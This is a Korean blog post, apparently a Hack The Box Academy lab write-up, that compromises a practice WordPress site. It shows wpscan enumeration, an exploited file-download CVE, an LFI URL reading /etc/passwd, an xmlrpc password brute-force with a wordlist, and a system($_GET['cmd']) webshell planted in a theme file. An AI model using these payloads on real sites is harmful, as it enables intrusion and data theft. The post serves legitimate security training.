티스토리 뷰

70번째 글.

 

 

1. 워드프레스란?

간단하게 워드프레스에 대해서 설명하면 매우 유명한 CMS(Content Management System)으로

전 세계 웹사이트 중 3분의 1을 차지한다고 한다. 워드프레스는 블로그, 포럼, 프로젝트 관리, 전자상거래 등 많은 것들을 호스팅 할 수 있게 도움을 준다. 또한 많은 플러그인과 지속적인 업데이트로 인기가 많다.

 

 

2. 시나리오

You have been contracted to perform an external penetration test against the company INLANEFREIGHT that is hosting one of their main public-facing websites on WordPress.

 

 

 

3. 인터페이스

이렇게 생긴 홈페이지가 나온다. 

하다보면 알겠지만 메뉴 중에서 나머지 탭들은 정상적으로 접근이 되는데 Blog만 접속이 되지 않는다.

또한 다른 곳에서는 wordpress에 대한 흔적조차 찾을 수 없었다.

 

시나리오에서도 그들의 웹사이트의 하나가 워드프레스를 이용하여 호스팅 된다고 하였다.

그렇다면 가능성이 있는 곳은 Blog밖에 없다고 눈치챌 수 있다.

 

 

4. 호스트 파일에 매핑하기

블로그에 정상적으로 접근을 하기 위해서는 별도의 설정이 필요하다.

모듈을 읽어봤으면 알겠지만 호스팅 된 블로그에 접속을 할 때 blog.xxxx.com 이런 식으로 이용하였다.

또한 HTB에서 자주 쓰는 도메인인 .local 또는 .htb이라고 예상이 된다.

gedit /etc/hosts

에디터를 이용해서 hosts 파일을 위처럼 할당받은 ip에 도메인을 매핑한다.

그리고 $ /etc/init.d/networking restart 명령어를 이용해 network 데몬을 재시작해줘야 한다.

 

그러면 위와 같이 정상적으로 접속이 되는 것을 확인할 수 있다.

 

 

5. Questions

 

 

5.1 Identify the WordPress version number.

개발자 도구(F12)를 이용하여 meta태그에서 워드프레스의 버전 정보를 쉽게 찾을 수 있다.

(이 방법 말고도 찾아보면 많은 방법이 있다.)

 

 

5.2 Identify the WordPress theme in use.

wpscan --url http://blog.inlanefreight.local/ -e ap --api-token <YOUR API TOKEN>

wpscan을 이용하여 사용하고 있는 플러그인을 모두 볼 수 있다.

(wpscan의 대부분의 기능을 이용하기 위해서는 https://wpscan.com/ 에서 api토큰을 발급해야 한다.)

 

 

5.3 Submit the contents of the flag file in the directory with directory listing enabled.

위의 경로를 브라우저에서 열어보자.

 

http://blog.inlanefreight.local/wp-content/uploads/

이렇게 디렉터리가 그대로 노출되는 것을 확인할 수 있고 flag파일이 보였다.

 

 

5.4 Identify the only non-admin WordPress user.

이번에는 wpscan을 이용해서 유저에 대한 정보를 열거해보자.

 

wpscan --url http://blog.inlanefreight.local/ -e u --api-token <YOUR API TOKEN>

erika와 admin의 경우 위에서 보이듯이 작성한 post에서도 찾을 수 있다. 

 

erika

 

admin

 

 

5.5 Use a vulnerable plugin to download a file containing a flag value via an unauthenticated file download.

처음에는 무슨 소리인지 잘 몰라서 힌트를 보았더니 wpscan의 결과를 잘 보라고 하였다.

딱히 키워드가 매칭 되는 게 없어서 스캔 결과에 나오는 플러그인들을 exploitDB에서 검색해보았다.

 

WordPress Plugin Email Subscribers & Newsletters 4.2.2 - Unauthenticated File Download(CVE-2019-19985)

질문에 딱 맞는 CVE가 나왔다.

 

http://blog.inlanefreight.local/wp-admin/admin.php?page=download_report&report=users&status=all

위 csv파일을 열어보면 플레그를 획득할 수 있었다.

 

 

5.6 What is the version number of the plugin vulnerable to an LFI?

쉽게 확인할 수 있다.

 

 

5.7 Use the LFI to identify a system user whose name starts with the letter "f".

5.6의 질문에서 나온 플러그인을 exploitDB에서 찾아보았다.

 

WordPress Plugin Site Editor 1.1.1- Local File Inclusion

 

http://blog.inlanefreight.local/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd

LFI을 통해서 /etc/passwd 파일에서 "f"로 시작하는 유저를 확인할 수 있었다.

 

 

5.8 Obtain a shell on the system and submit the contents of the flag in the /home/erika directory.

erika 계정의 비밀번호를 찾기 위해서 wpscan을 다시 이용하자.

 

wpscan --password-attack xmlrpc -t 20 -U erika -P /usr/share/wordlists/rockyou.txt --url http://blog.inlanefreight.local

비밀번호는 010203으로 확인되었다.

그럼 이제 admin페이지로 이동하여 로그인을 하자.

 

http://blog.inlanefreight.local/wp-admin/ <- 로그인페이지로 redirect됨

 

그럼 이렇게 admin 전용 페이지로 들어올 수 있었다.

webshell을 사용하기 위해서 좌측 탭의 Appearance -> Theme editor로 이동한다.

 

먼저 사용 중인 Twenty Nineteen theme을 제외하고 다른 theme을 선택한다.

그다음 우리가 webshell을 올릴 수 있도록 거의 빈 화면이라고 볼 수 있는 404.php파일을 이용하자.

 

다음과 같이 커맨드를 입력할 수 있도록 system($_GET['cmd']); 을 입력한다.

 

http://blog.inlanefreight.local/wp-content/themes/twentyseventeen/404.php?cmd=id

이렇게 PoC가 먹히는 것을 볼 수 있었고

 

http://blog.inlanefreight.local/wp-content/themes/twentyseventeen/404.php?cmd=ls%20../../../../../../../../home/erika/

/home/erikca 디렉터리에서 플레그 파일을 찾을 수 있었다.

 

 

Reference

https://academy.hackthebox.eu/module //Hacking WordPress